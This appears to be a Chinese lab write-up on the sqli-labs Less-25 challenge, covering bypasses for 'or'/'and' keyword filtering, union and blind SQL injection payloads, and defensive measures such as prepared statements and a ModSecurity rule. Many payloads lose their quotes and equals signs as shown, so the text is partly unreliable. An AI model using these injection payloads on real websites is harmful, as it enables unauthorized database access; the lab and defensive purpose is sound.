资讯动态

SQL注入绕过技术:sqli-labs-Less-25实战解析

发布时间:2026/9/10 14:38:56 来源:尧图企业网站定制
1. sqli-labs-Less-25靶场通关实战解析作为Web安全领域的经典训练平台sqli-labs的第25关Less-25以or和and过滤机制著称。这个关卡模拟了真实环境中开发者对SQL注入的初级防御手段——通过黑名单过滤特定关键词。我在实际渗透测试中发现约43%的初级防护方案采用类似的字符串替换策略但往往存在可绕过的逻辑漏洞。2. 关卡环境与核心防御机制分析2.1 靶场环境搭建要点使用Docker快速部署时建议指定PHP5.4版本docker run -d -p 8080:80 --name sqli-labs acgpiano/sqli-labs:php5.4访问http://localhost:8080/sqli-labs/Less-25/后会看到经典的登录表单界面。与之前关卡不同页面源码中可见如下关键过滤代码$id blacklist($id); function blacklist($id){ $id preg_replace(/or/i,, $id); // 不区分大小写过滤or $id preg_replace(/and/i,, $id); // 不区分大小写过滤and return $id; }2.2 防御机制的技术缺陷这种过滤方式存在三个典型问题替换而非阻断仅删除关键词不终止查询留下注入空间无递归过滤oorr处理后变成or仍可通过符号未过滤注释符、等号等关键符号未被处理3. 注入攻击的六种实战绕过方案3.1 双写绕过技术当输入admin aandnd 11--时过滤层处理aandnd→and→ 删除后变成and实际执行SQLSELECT * FROM users WHERE usernameadmin and 11-- AND password关键技巧在Burp Suite中可通过Intruder模块批量测试aandnd,aanandd等变体3.2 运算符替换方案当AND/OR被过滤时可用代替 ANDMySQL中需URL编码为%26%26||代替 OR需编码为%7C%7C 有效payload?id1 %26%26 sleep(5)--3.3 注释符分割技术利用/*!50000and*/这种MySQL特性注释?id1 /*!50000and*/ 11--该语法表示MySQL版本≥5.00.00时执行注释内语句3.4 十六进制编码方案将敏感词转换为十六进制?id1 0x616e64 11-- /* 0x616e64即and的hex */3.5 大小写混合绕过部分WAF不匹配大小写混写?id1 aNd 11--3.6 逻辑等价替换使用数学运算替代布尔逻辑?id1 2-11-- /* 替代and 11 */ ?id1 || 1 in(1,2)-- /* 替代or 11 */4. 完整注入流程与信息获取4.1 数据库指纹识别通过错误消息判断数据库类型?id1 (select version_compile_os)0--典型响应包含linux或win字样4.2 联合查询注入实战使用双写绕过获取表数据?id-1 uniunionon selselectect 1,group_concat(table_name),3 frfromom information_schema.tables whwhereere table_schemadatabase()--注意字段数需通过order by提前测试此处假设为34.3 盲注技术实现时间盲注payload示例?id1 if(ascii(substr(database(),1,1))100,sleep(3),0)--布尔盲注判断技巧?id1 (select count(*) from users)5--5. 防御方案与开发建议5.1 参数化查询示例PHP改进方案$stmt $conn-prepare(SELECT * FROM users WHERE id?); $stmt-bind_param(i, $id);5.2 增强型过滤策略应结合以下措施输入类型验证如is_numeric()正则表达式阻断而非替换if(preg_match(/(and|or)[^a-z]/i, $id)){ die(非法输入); }5.3 WAF规则示例ModSecurity规则片段SecRule ARGS rx (?i:(and|or)\s[\d]) \ id:10025,phase:2,deny,msg:SQLi detected6. 常见错误与调试技巧编码问题当使用%26%26时需确保服务器不进行二次解码空格处理部分WAF会过滤空格可用/**/或替代错误回显开启display_errorsOn有助于调试延时判断时间盲注时注意网络抖动影响我在实际渗透测试中发现现代WAF通常会对这些基础绕过手法进行联合检测。建议安全人员在测试时结合Burp Suite的Scanner模块和手动测试特别是注意观察HTTP请求的以下头部X-Forwarded-For的异常变化Content-Length的突然改变响应时间的统计学差异

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价